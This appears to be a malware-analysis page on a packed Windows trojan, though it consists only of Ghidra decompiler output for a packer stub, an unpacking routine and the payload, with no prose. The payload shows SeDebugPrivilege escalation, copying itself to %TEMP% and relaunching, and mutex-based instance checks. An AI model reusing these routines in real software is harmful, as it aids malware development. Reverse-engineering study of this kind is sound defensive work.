Reverse Engineering a Packed Trojan: Ghidra & x64dbg Dynamic Tracing

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined4 __cdecl entry(undefined4 param_1)

{
  HCURSOR pHVar1;
  HANDLE pvVar2;
  int iVar3;
  uint local_18;
  
  pHVar1 = LoadCursorA((HINSTANCE)0x0,(LPCSTR)0x142d);
  if (pHVar1 != (HCURSOR)0x0) {
    FUN_00401130();
  }
  pvVar2 = CreateFileW((LPCWSTR)&DAT_004ca044,1,3,(LPSECURITY_ATTRIBUTES)0x0,3,0x80,(HANDLE)0x0);
  if ((pvVar2 != (HANDLE)0xffffffff) && (pvVar2 != (HANDLE)0x0)) {
    return 0x42;
  }
  CreateFileW((LPCWSTR)&DAT_004ca044,1,3,(LPSECURITY_ATTRIBUTES)0x0,3,0x80,(HANDLE)0x0);
  GetDriveTypeW((LPCWSTR)&DAT_004ca048);
  pHVar1 = LoadCursorA((HINSTANCE)0x0,(LPCSTR)0x142d);
  if (pHVar1 != (HCURSOR)0x0) {
    FUN_00401130();
  }
  DAT_004ca0bc = param_1;
  _DAT_004ca080 = 0x2001c;
  DAT_004ca09c = &stack0xfffffffc;
  FUN_00401170();
  local_18 = 0;
  PTR_DAT_004ca040[5] = 0x5c;
  PTR_DAT_004ca040[6] = 0x7b;
  iVar3 = (*DAT_004ca0dc)(DAT_004ca000 + -1,PTR_DAT_004ca040,&DAT_004ca22c);
  if (iVar3 != 0) {
    while ((local_18 < 0xf &&
           (iVar3 = (*DAT_004ca0dc)(DAT_004ca000 + -1,PTR_DAT_004ca040,&DAT_004ca22c), iVar3 != 0)))
    {
      local_18 = local_18 + 1;
    }
  }
  DAT_004ca0c4 = FUN_004014f0();
  DAT_004ca084 = FUN_00401180(DAT_004ca0c4);
  _DAT_004ca0c8 = FUN_004016b0(DAT_004ca084);
  _DAT_004ca088 = DAT_004ca084;
  DAT_004ca0ac = 0;
  _DAT_004ca0b0 = 0;
  return _DAT_004ca0c8;
}

/* WARNING: Unable to track spacebase fully for stack */

undefined4 FUN_00086ed0(int param_1)

{
  undefined4 uVar1;
  int iVar2;
  int unaff_retaddr;
  undefined4 uVar3;
  undefined1 *local_6c [2];
  int local_64;
  uint local_60;
  undefined4 local_5c;
  int local_58;
  undefined4 local_54;
  int local_14;
  undefined4 local_10;
  int local_c;
  
  local_10 = 0;
  FUN_000868d0(local_6c,0,0x54);
  local_6c[0] = &stack0xfffffffc;
  local_c = unaff_retaddr;
  FUN_00086670(local_6c);
  uVar1 = thunk_FUN_00086575();
  local_64 = local_c;
  local_58 = param_1;
  local_14 = param_1 + *(int *)(param_1 + 0x3c);
  local_60 = (uint)*(ushort *)(local_14 + 0x16);
  iVar2 = thunk_FUN_00086575();
  uVar3 = *(undefined4 *)(iVar2 + 0x4010f0);
  iVar2 = thunk_FUN_00086575(uVar3,uVar1);
  iVar2 = iVar2 + 0x4010f4;
  uVar1 = FUN_00086780(uVar3,uVar3,uVar1,iVar2);
  FUN_00086910(uVar1,iVar2,uVar3);
  FUN_00086e80(uVar1,uVar3);
  iVar2 = FUN_00086c70(local_6c,uVar1);
  if (iVar2 == 0) {
    return 0;
  }
  if (local_64 != 0) {
    *(undefined4 *)(local_6c[0] + 0x10) = local_54;
  }
  uVar3 = *(undefined4 *)(local_6c[0] + 8);
  *(undefined4 *)(local_6c[0] + 8) = local_5c;
  return uVar3;
}

        00086fc1 58              POP        EAX
        00086fc2 58              POP        EAX
        00086fc3 52              PUSH       EDX
        00086fc4 c3              RET
                             LAB_00086fc5            XREF[1]:     00086fa9(j)  
        00086fc5 8b e5           MOV        ESP,EBP

/* WARNING: Function: __chkstk replaced with injection: alloca_probe */

void entry(void)

{
  WCHAR WVar1;
  char cVar2;
  undefined1 uVar3;
  ushort uVar4;
  HMODULE pHVar5;
  BOOL BVar6;
  uint uVar7;
  wchar_t *pwVar8;
  HINSTANCE pHVar9;
  LPWSTR pWVar10;
  LPWSTR *ppWVar11;
  undefined4 uVar12;
  HANDLE hObject;
  uint uVar13;
  uint uVar14;
  int iVar15;
  WCHAR *pWVar16;
  int *piVar17;
  short *psVar18;
  bool bVar20;
  char *_Format;
  DWORD DVar21;
  undefined *puVar22;
  char local_1044;
  undefined1 local_1043 [2047];
  undefined2 local_844;
  undefined1 local_842 [518];
  WCHAR local_63c;
  undefined1 local_63a [518];
  WCHAR local_434;
  undefined1 local_432 [518];
  char local_22c [264];
  char local_124 [264];
  undefined4 local_1c;
  undefined4 local_18;
  DWORD local_14;
  DWORD local_10;
  int local_c;
  undefined1 auStack_8 [2];
  char local_6;
  char local_5;
  short *psVar19;
  
  local_14 = 0;
  _auStack_8 = 0x1402044;
  local_22c[0] = '\0';
  memset(local_22c + 1,0,0x103);
  local_124[0] = '\0';
  memset(local_124 + 1,0,0x103);
  local_1044 = '\0';
  memset(local_1043,0,0x7ff);
  local_434 = L'\0';
  auStack_8 = (undefined1  [2])CONCAT11(0,auStack_8[0]);
  local_c = 0;
  local_18 = 0;
  local_1c = 0;
  memset(local_432,0,0x206);
  local_844 = 0;
  memset(local_842,0,0x206);
  local_63c = L'\0';
  memset(local_63a,0,0x206);
  pHVar5 = GetModuleHandleA((LPCSTR)0x0);
  BVar6 = VirtualProtect(pHVar5,0x400,0x40,&local_10);
  if ((BVar6 != 0) && ((short)DAT_00414570 == 0x5a4d)) {
    piVar17 = &DAT_00414570;
    for (iVar15 = 0x100; iVar15 != 0; iVar15 = iVar15 + -1) {
      pHVar5->unused = *piVar17;
      piVar17 = piVar17 + 1;
      pHVar5 = pHVar5 + 1;
    }
    local_10 = 0;
    psVar18 = (short *)0x402030;
    do {
      psVar19 = psVar18 + -8;
      if (((*psVar19 == 0x5a4d) && (uVar7 = *(uint *)(psVar18 + 0x16), uVar7 < 0x1000)) &&
         (*(int *)(uVar7 + (int)psVar19) == 0x4550)) {
        pHVar5 = GetModuleHandleA((LPCSTR)0x0);
        local_10 = 0;
        if (*(short *)((int)&pHVar5[1].unused + uVar7 + 2) != 0) {
          piVar17 = (int *)((int)&pHVar5[0x41].unused + uVar7);
          do {
            *piVar17 = (int)psVar19 + (*piVar17 - (int)pHVar5);
            piVar17 = piVar17 + 10;
            local_10 = local_10 + 1;
          } while (local_10 < *(ushort *)((int)&pHVar5[1].unused + uVar7 + 2));
        }
        break;
      }
      local_10 = local_10 + 1;
      psVar18 = psVar19;
    } while (local_10 < 0x10000);
  }
  FUN_00401fad(u_SeDebugPrivilege_004139c4);
  FUN_00401fad(u_SeCreateGlobalPrivilege_004139e8);
  FUN_00406e34();
  if ((DAT_00425028 == 9) && (DAT_0042502c == 0)) {
    uVar7 = FUN_00409cd1();
    DAT_00425028 = uVar7 & 0xffff;
    DAT_0042502c = 0;
    if (DAT_00425028 == 0) {
      DAT_00425028 = FUN_0040a02d();
      DAT_0042502c = 0;
    }
  }
  GetModuleFileNameW((HMODULE)0x0,(LPWSTR)&DAT_004149b0,0x104);
  pwVar8 = wcsstr((wchar_t *)&DAT_004149b0,u_.bat_00413a18);
  if (pwVar8 == (wchar_t *)0x0) {
LAB_00402291:
    cVar2 = FUN_00401b98(&local_c);
    if (cVar2 == '\0') {
      uVar4 = FUN_00409f9c();
      DAT_0042d132 = uVar4 & 0xff;
      uVar3 = FUN_00403810();
      _auStack_8 = CONCAT13(uVar3,_auStack_8);
      CreateEventW((LPSECURITY_ATTRIBUTES)0x0,1,0,u_{9D723E3C-5DD2-43a4-A593-6C4327D_00413a70);
      local_14 = GetLastError();
      if ((local_14 == 0xb7) && (local_5 != '\0')) {
LAB_004022ea:
        DVar21 = 0;
        goto LAB_004022eb;
      }
      _auStack_8 = (uint3)(ushort)auStack_8;
      local_c = 0;
      pWVar10 = GetCommandLineW();
      ppWVar11 = CommandLineToArgvW(pWVar10,&local_c);
      if ((ppWVar11 != (LPWSTR *)0x0) && (1 < local_c)) {
        pWVar10 = ppWVar11[1];
        pwVar8 = u_shortcut_00413cb8;
        do {
          WVar1 = *pWVar10;
          bVar20 = (ushort)WVar1 < (ushort)*pwVar8;
          if (WVar1 != *pwVar8) {
LAB_00402344:
            iVar15 = (1 - (uint)bVar20) - (uint)(bVar20 != 0);
            goto LAB_00402349;
          }
          if (WVar1 == L'\0') break;
          WVar1 = pWVar10[1];
          bVar20 = (ushort)WVar1 < (ushort)pwVar8[1];
          if (WVar1 != pwVar8[1]) goto LAB_00402344;
          pWVar10 = pWVar10 + 2;
          pwVar8 = pwVar8 + 2;
        } while (WVar1 != L'\0');
        iVar15 = 0;
LAB_00402349:
        if (iVar15 == 0) {
          _auStack_8 = CONCAT12(1,auStack_8);
        }
      }
      if ((local_5 != '\0') && (DAT_00425134 != 0)) {
        local_c = 0;
        pWVar10 = GetCommandLineW();
        ppWVar11 = CommandLineToArgvW(pWVar10,&local_c);
        if ((ppWVar11 != (LPWSTR *)0x0) && (1 < local_c)) {
          pWVar10 = ppWVar11[1];
          pWVar16 = &DAT_00414004;
          do {
            WVar1 = *pWVar10;
            bVar20 = (ushort)WVar1 < (ushort)*pWVar16;
            if (WVar1 != *pWVar16) {
LAB_004023a2:
              iVar15 = (1 - (uint)bVar20) - (uint)(bVar20 != 0);
              goto LAB_004023a7;
            }
            if (WVar1 == L'\0') break;
            WVar1 = pWVar10[1];
            bVar20 = (ushort)WVar1 < (ushort)pWVar16[1];
            if (WVar1 != pWVar16[1]) goto LAB_004023a2;
            pWVar10 = pWVar10 + 2;
            pWVar16 = pWVar16 + 2;
          } while (WVar1 != L'\0');
          iVar15 = 0;
LAB_004023a7:
          if (iVar15 == 0) goto LAB_004023b8;
        }
        iVar15 = FUN_004038e3();
        if (iVar15 != 0) goto LAB_00402728;
      }
LAB_004023b8:
      iVar15 = 0;
      do {
        cVar2 = (&DAT_00425030)[iVar15];
        local_22c[iVar15] = cVar2;
        iVar15 = iVar15 + 1;
      } while (cVar2 != '\0');
      iVar15 = 0;
      do {
        cVar2 = (&DAT_00425138)[iVar15];
        local_124[iVar15] = cVar2;
        iVar15 = iVar15 + 1;
      } while (cVar2 != '\0');
      FUN_00406a7c(&DAT_00425250,&DAT_00425368);
      FUN_00407144(DAT_0042d132 != 0,0x1f,0,DAT_0042d134);
      FUN_00406a7c(&DAT_00425470,&DAT_00425368);
      local_18 = FUN_004011dd(&local_18);
      uVar12 = FUN_0040109f(&local_1c);
      FUN_004075a0(uVar12,local_18);
      FUN_00406a7c(&DAT_00425250,&DAT_00425368);
      iVar15 = FUN_0040a839();
      if (iVar15 == 2) {
        FUN_00407144(1,0x2a,0,2);
        FUN_004038e3();
      }
      else {
        if (0 < iVar15) {
          FUN_00407144(1,0x29,0,iVar15);
          do {
                    /* WARNING: Do nothing block with infinite loop */
          } while( true );
        }
        FUN_00407144(0,0x2b,0,0);
        if (local_5 != '\0') {
          FUN_00407144(0,0x14,0,0);
        }
        FUN_00406a7c(local_22c,local_124);
        if (local_5 != '\0') {
          CreateEventW((LPSECURITY_ATTRIBUTES)0x0,1,0,u_{8B33EA89-2510-4223-8F24-02E6585_00413ac0);
          local_14 = GetLastError();
          if (local_14 == 0xb7) goto LAB_004022ea;
        }
        if ((DAT_00425574 != 0) && (cVar2 = FUN_00403810(), cVar2 != '\0')) {
          DAT_004149ac = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,FUN_00402d08,(LPVOID)0x0,0,
                                      (LPDWORD)0x0);
        }
        if (local_5 == '\0') {
          bVar20 = local_6 == '\0';
          DVar21 = local_14;
          if (!bVar20) {
            FUN_00405c5f(1);
            DVar21 = 0;
          }
          FUN_00407144(bVar20,0x1e,0,DVar21);
        }
        iVar15 = FUN_00402cae();
        if (((iVar15 == 0) && (local_5 != '\0')) && (iVar15 = FUN_00406ab1(), iVar15 == 0xc)) {
          hObject = CreateEventW((LPSECURITY_ATTRIBUTES)0x0,1,0,
                                 u_{9D723E3C-5DD2-43a4-A593-6C4327D_00413b10);
          iVar15 = FUN_0040ad81();
          if (iVar15 != 0) {
            FUN_00407144(0,0xe,0,0);
            Sleep(20000);
            CloseHandle(hObject);
            goto LAB_004022ea;
          }
          FUN_00407144(1,0xe,0,0);
          CloseHandle(hObject);
        }
        iVar15 = FUN_00402cae();
        if (iVar15 == 0) {
          if ((local_5 == '\0') && (iVar15 = FUN_00406ab1(), iVar15 == 0xc)) {
            FUN_00407144(1,0xe,0,0);
          }
          cVar2 = FUN_004035ee();
          _auStack_8 = CONCAT12(cVar2,auStack_8);
          if (local_5 != '\0') {
            FUN_00407144(cVar2 == '\0',0xc,0,0);
            if (local_6 != '\0') {
              FUN_00403874();
              iVar15 = FUN_00406ab1();
              if (iVar15 == 0xd) {
                if (DAT_0042567c != 0) {
                  Sleep(DAT_0042567c * 1000);
                }
                FUN_004033b8(&DAT_00413a54);
              }
              cVar2 = FUN_004035ee();
              if (cVar2 == '\0') {
                FUN_00407144(0,0xd,0,0);
              }
              else {
                FUN_00407144(1,0xd,0,1);
                DialogBoxParamW((HINSTANCE)0x0,(LPCWSTR)&DAT_00000073,(HWND)0x0,FUN_00402d78,0);
                auStack_8 = (undefined1  [2])CONCAT11(1,auStack_8[0]);
              }
              local_c = 0;
              while( true ) {
                local_14 = FUN_00403701();
                if (local_14 == 0) break;
                local_c = local_c + 1;
                if (9 < local_c) {
                  if (auStack_8[1] != '\0') {
                    FUN_00407144(1,0x24,0,1);
                  }
                  cVar2 = FUN_00406a43();
                  if (cVar2 == '\0') {
                    FUN_0040304e();
                  }
                  else {
                    FUN_00403203();
                  }
                  FUN_00405c5f(0);
                  puVar22 = &DAT_004149a6;
                  _Format = s_http://www.bing.com/search?q={se_00413b70;
                  goto LAB_00402707;
                }
                Sleep(60000);
                DialogBoxParamW((HINSTANCE)0x0,(LPCWSTR)&DAT_00000073,(HWND)0x0,FUN_00402d78,0);
              }
              if (auStack_8[1] != '\0') {
                FUN_00407144(0,0x24,0,0);
              }
              Sleep(30000);
              goto LAB_00402728;
            }
          }
        }
        cVar2 = FUN_00406a43();
        if (cVar2 == '\0') {
          FUN_00407144(1,0x11,0,0);
          uVar7 = FUN_00402e36();
          uVar13 = FUN_00402766();
          uVar14 = FUN_0040290c();
          if ((uVar7 & uVar13 & uVar14) != 0) {
            FUN_0040304e();
            puVar22 = &DAT_00414bb8;
            _Format = s_http://www.bing.com/search?q={se_00413bd0;
            goto LAB_00402707;
          }
        }
        else {
          FUN_00407144(0,0x11,0,0);
          uVar7 = FUN_00402e36();
          uVar13 = FUN_0040290c();
          if ((uVar13 & uVar7) != 0) {
            FUN_00403203();
            puVar22 = &DAT_004149a7;
            _Format = s_http://www.bing.com/search?q={se_00413ba0;
LAB_00402707:
            sprintf(&local_1044,_Format,puVar22);
            FUN_00404818();
            FUN_0040420b(&local_1044);
          }
        }
      }
    }
    else {
      FUN_00407144(1,0x14,0,local_c);
    }
  }
  else {
    FUN_004067f6(&local_844,9);
    wsprintfW(&local_63c,u_%s\%s.exe_00413a34,u_%TEMP%_00413a24,&local_844);
    ExpandEnvironmentStringsW(&local_63c,&local_434,0x104);
    CopyFileW((LPCWSTR)&DAT_004149b0,&local_434,0);
    pHVar9 = ShellExecuteW((HWND)0x0,u_open_00413a48,&local_434,(LPCWSTR)0x0,(LPCWSTR)0x0,3);
    if ((int)pHVar9 < 0x21) {
      local_14 = GetLastError();
      goto LAB_00402291;
    }
  }
LAB_00402728:
  FUN_00406992(&DAT_004149b0);
  if ((DAT_00425022 != '\0') && (iVar15 = WSACleanup(), iVar15 == 0)) {
    DAT_00425022 = '\0';
  }
  if (local_5 == '\0') {
    FUN_004033b8(&DAT_00413c00);
  }
  FUN_00403874();
  DVar21 = local_14;
LAB_004022eb:
                    /* WARNING: Subroutine does not return */
  ExitProcess(DVar21);
}